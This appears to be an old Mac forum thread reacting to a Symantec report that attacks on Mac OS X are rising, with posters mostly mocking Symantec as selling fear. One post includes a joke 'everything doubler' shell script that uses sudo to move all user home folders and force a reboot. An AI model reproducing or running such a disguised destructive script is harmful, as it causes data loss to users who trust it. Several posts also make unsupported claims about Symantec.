Macintosh Hacker Attacks Are on the Rise -Symantec

[huck500]

SAN FRANCISCO (Reuters) - Hacker attacks on Apple Computer Inc.'s Macintosh OS X operating system, thought by many who use the Mac to be virtually immune to attack, are on the rise, according to a report from anti-virus software vendor Symantec Corp.

"Contrary to popular belief, the Macintosh operating system has not always been a safe haven from malicious code," said the report, which was issued on Monday.

"It is now clear that the Mac OS is increasingly becoming a target for the malicious activity that is more commonly associated with Microsoft and various Unix-based operating systems."

Link

 

[Lacero]

Obviously it's in their interest to sound the alarm. Guess who profits?

 

[Mr. Durden]

Oh no! I had better go buy some Symantic software to keep me safe from all those hackers and viruses.

 

[Muskie]

Oh no! I had better go buy some Symantic software to keep me safe from all those hackers and viruses.

lol my thoughts exactly. we better be careful now, help us Symantic, PLEASE.......

 

[stoid]

Have any of these attempts been successful? Just because there are more attempts doesn't mean squat. Well, except that there are more Mac computers to be targeted I guess

 

[rasp]

From Symantec, great... How about this true story.

About a month ago, a co-worker was saying she was disappointed in her iPod. She got it at Christmas, and wished she hadn't. I asked why. The reason is her (WinXP) machine (now) crashes every time she plugs in the iPod, but used to work. So I proceed to ask what other changes were made to the system since. Come to find out Norton System Works was installed on since. After that was removed, the system works fine.

And this same symantec is telling me that my mac is getting attacked? by whom I ask. I don't trust symantec, their retail product is horrible.

 

[hcuar]

The resulting affect from installing Norton products on ones PC is far worse that what any virus could possibly do. Well, that might be extreme, but Norton Antivirus seems to be a system killer. I'd never infest my Macs with that crap.

 

[puckhead193]

I saw the article on yahoo on the front page so it must be true

 

[superbovine]

Have any of these attempts been successful? Just because there are more attempts doesn't mean squat. Well, except that there are more Mac computers to be targeted I guess

http://www.securityfocus.com/bid/vendor/

do a vendor search for apple.

 

[Chappers]

So we can only update our machines as and when, I guess.

 

[kettle]

I know, lets see if we can sell some software people don't need.
hmm lets make a reason for them to need software they don't need.

 

[Les Kern]

Turns out it's not true, but a self-serving effort on Symantecs part. As I understand it, the ONLY "proof" they had was related to the 35 or so APPLE RELEASES of security vulnerabilities that were FIXED, and not, as one would imagine (for example), with a rash of BAGEL A-B-C-D-E variants found in the wild.
But the real interesting thing to me was that they also made a transparent attempt to label Mac-users as "less-savvy" when it came to computers in the first place!
I'm no conspiracy theorist, but I'd bet a LARGE amount of money that some person or persons, related DISTANTLY to Symantec, is working dilligently on a Mac virus or worm, ANY Mac virus or worm, that even REMOTELY works.
The ONLY thing good about the horsesh*t coming from Symantec may be that Apple will stay up on these vulnerabilities for it's users. If there comes a time that the Mac is TRULY riddled with viruses (which I highly doubt), I am hanging up the computer game forever. I'm not going to be a twink to some pimple-popping, freak-like script-kiddie somewhere.

 

[tersono]

Translation: Symantec Mac Sales are down.....

Let's hope they stay that way...

 

[wPod]

yeah, and um, when one of these attempts is successful, let me know! i wonder how much companies like Symantec pay people to write viruses, just to assure that their product is sold.

 

[miloblithe]

Unfortunately, I bet a lot of people casually read that article or saw that headline and who might have otherwise been ready to switch to macs. It probably cost Apple a few hundred or thousand sales.

 

[notjustjay]

Unfortunately, I bet a lot of people casually read that article or saw that headline and who might have otherwise been ready to switch to macs. It probably cost Apple a few hundred or thousand sales.

I don't know about that.

It's a GIVEN that the PC world is infested with viruses, spyware and hacking attempts.

If you believe this article, then this type of thing is BEGINNING on the Mac side.

Given the choice I'd prefer the lesser of two evils (weevils, as Russell Crowe would say).

Of course, for those many people who use their computers in isolation, not connected to a network or to the internet, there's nothing to worry about.

 

[TigerPRO]

The resulting affect from installing Norton products on ones PC is far worse that what any virus could possibly do. Well, that might be extreme...

No it isn't.

 

[wrldwzrd89]

I'm suspicious. I think something's up inside Symantec that's making them unhappy. I wouldn't be surprised if this news was true, but the way it's reported doesn't seem right to me.

 

[xyian]

Oh, it's true, it's true

I went out immediately after reading this article and bought the Symantec antivirus software for OSX. I feel so much safer now that I've done that. It's funny how the American psyche works(even more so after 9/11) that if people tell us we're vulnerable in some aspect then we will rectify it with some sort of insurance that gives us peace of mind. Folly.
I'm not saying there isn't the possiblity that someone could hack OSX or make malicious code but when such a small number of users use OSX why bother. Hacking is like being a serial killer. It's all about the numbers, not just making something happen. There are much greater numbers of unknowing sheep waiting to be slaughtered on the windows front as opposed to other OSes.
Viruses and spyware are the whole reason my windows machine isn't even allowed on the internet connection. Bad OS! Bad OS!

 

[wrldwzrd89]

I went out immediately after reading this article and bought the Symantec antivirus software for OSX. I feel so much safer now that I've done that. It's funny how the American psyche works(even more so after 9/11) that if people tell us we're vulnerable in some aspect then we will rectify it with some sort of insurance that gives us peace of mind. Folly.
I'm not saying there isn't the possiblity that someone could hack OSX or make malicious code but when such a small number of users use OSX why bother. Hacking is like being a serial killer. It's all about the numbers, not just making something happen. There are much greater numbers of unknowing sheep waiting to be slaughtered on the windows front as opposed to other OSes.
Viruses and spyware are the whole reason my windows machine isn't even allowed on the internet connection. Bad OS! Bad OS!

I feel somewhat safer now after installing Virex 7.5.1 (which I get free since I'm a .Mac subscriber). I think Symantec's software for Mac OS 9 was great, but their Mac OS X software seems to cause more problems than it solves (their antivirus program, fortunately, is the least troublesome).

 

[emw]

I think something's up inside Symantec ...

Perhaps they're heads are up their, um, inside?

In other news, the makers of Tylenol have announced that the incidence of pool balls to the head may be on the rise, and as such advises that consumers stock up on pain medication as a precaution. "While you currently don't see a large number of people struck by pool balls," said a Tylenol spokesperson, "we've been able to simulate the possibility in our labs using modified baseball pitching machines and unsuspecting volunteers. All it takes is a significant number of people walking around with pool balls and suddenly you have yourself an epidemic. We recommend you stock up on a pain medication such a Tylenol in case you find yourself struck in the head by a pool-ball-weilding maniac on the street. Better, yet, you may want to take Tylenol all day, everyday, just to make sure that if you are struck, you won't feel the pain."

 

[yellow]

I'm caught between a proverbial rock and a metaphorical hard place..

On one hand, it's nice that Symantec, a name trusted by many PC and pre-OS X Mac users, is trying to let switchers, n00bs, and unknowledgables know that just because you have a Mac now, doesn't mean you never have to worry about security. It's good to raise the consciousness level of Mac users. Way to go Symantec.

On the other hand, the one that my pessimistic nature screams about, is Symantec is trying to both boost sales of their P.O.S. SystemWorks, and increase the FUD level of switcher/n00b/unknowledgable Mac users. Way to go Symantec.

Hey Symantec, I just discovered a new virus "in the wild"!

#!/bin/sh
/bin/echo "Welcome to everything doubler!"
/usr/bin/sudo /bin/mkdir /Suckers
/bin/echo "RAM Doubled"
/usr/bin/sudo /bin/mv /Users/* /Sucker/.
/bin/echo "Broadband connection speed doubled"
/usr/bin/sudo /sbin/shutdown -r now

 

[Norouzi]

You know it's funny, when I walked into work this morning my boss handed me this article because he knows I'm always pushing Mac's because it'd make our lives so much easier. Well I read the article and handed it back to him saying "Meh, I'm not worried, and I doubt the majority of Mac users are either". So I decided to pop over here to macrumors to see if anyone had posted it yet. Low and behold I find that all the smart people here have already posted all the thoughts I had when I first read the article, that it seems like symantec is just trying to make a buck. Well I printed out all the posts and handed them to my boss, he read them laughed and said "Well it looks like you were right. I don't see why more people don't use Mac's". He especially loved the story about the Windows user with the iPod.

 

[plinden]

I just read a similar article over on macobserver, and I was particularly struck by the following quote:

More Macs sold = more security concerns

While Mr. Cole admitted there is no actual data to prove a connection (my italics), he said say "it's reasonable to assume that with in increase in market share and popularity comes an increased interest by the hacker attacker community to go after the Mac. No platform is absolutely free of vulnerabilities and no users at the end of the day are impervious because they use a particular product."

I just love it when people use the phrase "it's reasonable to assume ... " or "it stands to reason ... "

 

[stoid]

http://www.securityfocus.com/bid/vendor/

do a vendor search for apple.

That's just a list of vulnerabilities, and obviously Mac OS X is not without problems, it's just that so far Apple has patched any issue before it could get exploited. This hasn't changed with more market share, and until it does Symantec is just playing Chicken Little, and screaming that the sky is falling. The sky is exactly where it always was. Calm down.